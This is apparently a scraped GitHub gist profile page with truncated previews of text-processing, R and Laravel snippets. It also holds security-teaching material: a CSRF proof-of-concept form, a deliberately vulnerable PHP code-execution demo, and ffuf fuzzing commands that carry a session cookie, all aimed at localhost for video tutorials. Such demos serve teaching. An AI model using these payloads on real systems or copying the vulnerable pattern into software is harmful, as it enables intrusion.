Skip to content

Instantly share code, notes, and snippets.

View InsiderPhD's full-sized avatar

Katie Paxton-Fear InsiderPhD

View GitHub Profile
import nltk
# sample BooleanIR inverted index
document1 = "I started with my company about six months ago. They hired myself and my boss at the same time but due to her work load they had me helping with her workload and not the job I was recruited and hired for. During this time my boss was always trying to be my friend and have conversations with me so she was well aware I was trying to have a baby. In January they hired a third person and have had me training her how to do all the elements of the job so I could do the job I was hired for. My boss and I had a specific conversation in January when I thought I was pregnant and she asked me the following day if I was. We also had a conversation where I was concerned I was training my replacement and I would have no job security and she assured me I was not."
document2 = "Fast forward to this week. I am pregnant and told her on Thursday so I would be able to go to Dr. appts etc. she still continued to have me write down all my processes, knowledge etc. Then on
@InsiderPhD
InsiderPhD / OrQuery.py
Created March 26, 2018 10:54
Works with the InvertedIndex.py
# OR query
searchQuery = "about company"
searchTokens = tokeniser.tokenize(searchQuery)
searchNormalised = list()
for t in searchTokens:
searchNormalised.append(porter.stem(t))
postingsList = list()
for t in invertedIndex:
for search in searchNormalised:
@InsiderPhD
InsiderPhD / knossos_vis.R
Created April 9, 2018 09:35
ggpage Visualisation for Toponyms at Knossos
library(tidyverse)
library(ggpage)
tablets$text <- as.character(tablets$inscription)
tablets_long <- subset(tablets, nchar(as.character(tablets$inscription)) >15, type = "chars")
knossos <- tablets_long[grep("KN", tablets$location, ignore.case=T),]
knossos$text <- gsub("-", "", as.character(knossos$inscription))
knossos <- knossos[complete.cases(knossos),]
head(knossos, 100) %>%
#
# This is a Shiny web application. You can run the application by clicking
# the 'Run App' button above.
#
# Find out more about building applications with Shiny here:
#
# http://shiny.rstudio.com/
#
library(dplyr)
@InsiderPhD
InsiderPhD / SecretSanta.php
Created December 3, 2019 12:55
A laravel command which generates secret santa matches based on matching location preferences
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Collection;
class SecretSantaPairing extends Command
{
@InsiderPhD
InsiderPhD / csrf-attack_csrf.html
Last active March 12, 2024 08:49
CSRF PoC Example for YT
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form id = "csrf_form" method = "POST" action = "http://127.0.0.1:8000/user/name">
<input type = "text" name = "name" value = "hhh">
<form>
@InsiderPhD
InsiderPhD / code.php
Created January 24, 2020 23:28
RCE PHP Demo for YT
<h1>Katie's Maths</h1>
<p>Type in an equation and let me do the hard work!</p>
<form method="post" action="code.php">
<input type="text" name="code" value="1+1">
<button type="submit" name="submit">Submit</button>
</form>
<hr>
<h1>Results</h1>
<?php
# Drawing a scatter plot of raster images
doInstall <- TRUE # Change to FALSE if you don't want packages installed.
toInstall <- c("png", "devtools", "MASS", "RCurl")
if(doInstall){install.packages(toInstall, repos = "http://cran.r-project.org")}
lapply(toInstall, library, character.only = TRUE)
# Some helper functions, lineFinder and makeTable
source_gist("818983")
source_gist("818986")
@InsiderPhD
InsiderPhD / Dockerfile
Created May 26, 2020 21:48
Arjun Docker
FROM python:3
WORKDIR /usr/src/app
COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt
RUN mkdir data
COPY . .
# Basic Usage
ffuf -w wordlist.txt -u http://127.0.0.1:8000/api/FUZZ/6 -o output.txt -replay-proxy http://127.0.0.1:8080
# Basic Usage With a Cookie
ffuf -w wordlist.txt -u http://127.0.0.1:8000/api/FUZZ/6 -o output.txt -replay-proxy http://127.0.0.1:8080 -b "laravel_session=eyJpdiI6Ii8wQU11dTVlUkg2alRHUXBIVzlGSnc9PSIsInZhbHVlIjoiOWs3YllJWTdqNC9xa1pMeFRvMFh0OE1vRFpaWm9GSzFkRktVZS9yUHBDM0lIazZ4K0NsbndxWVIxQ05VZWhqZUZaR0RGQWlFdmdDc24yWllYRklGSXI5STd2b05Pam4yRXIwV1BUWkZhUnFLNUFzOWsycmRHcnlxS0FqRWNsSnEiLCJtYWMiOiI3ZTliMmM2YzIxOTExNDE0NmVjYTYyMGI4Nzg4YzJiYjNmNjVkNDI1YzEyODYwMzY5YzczNzY3NTUwZDk0OGYzIn0%3D;"
# Adding a delay
ffuf -w wordlist.txt -u http://127.0.0.1:8000/api/FUZZ/6 -o output.txt -replay-proxy http://127.0.0.1:8080 –p 1 –t 3
# Adding a delay (new method)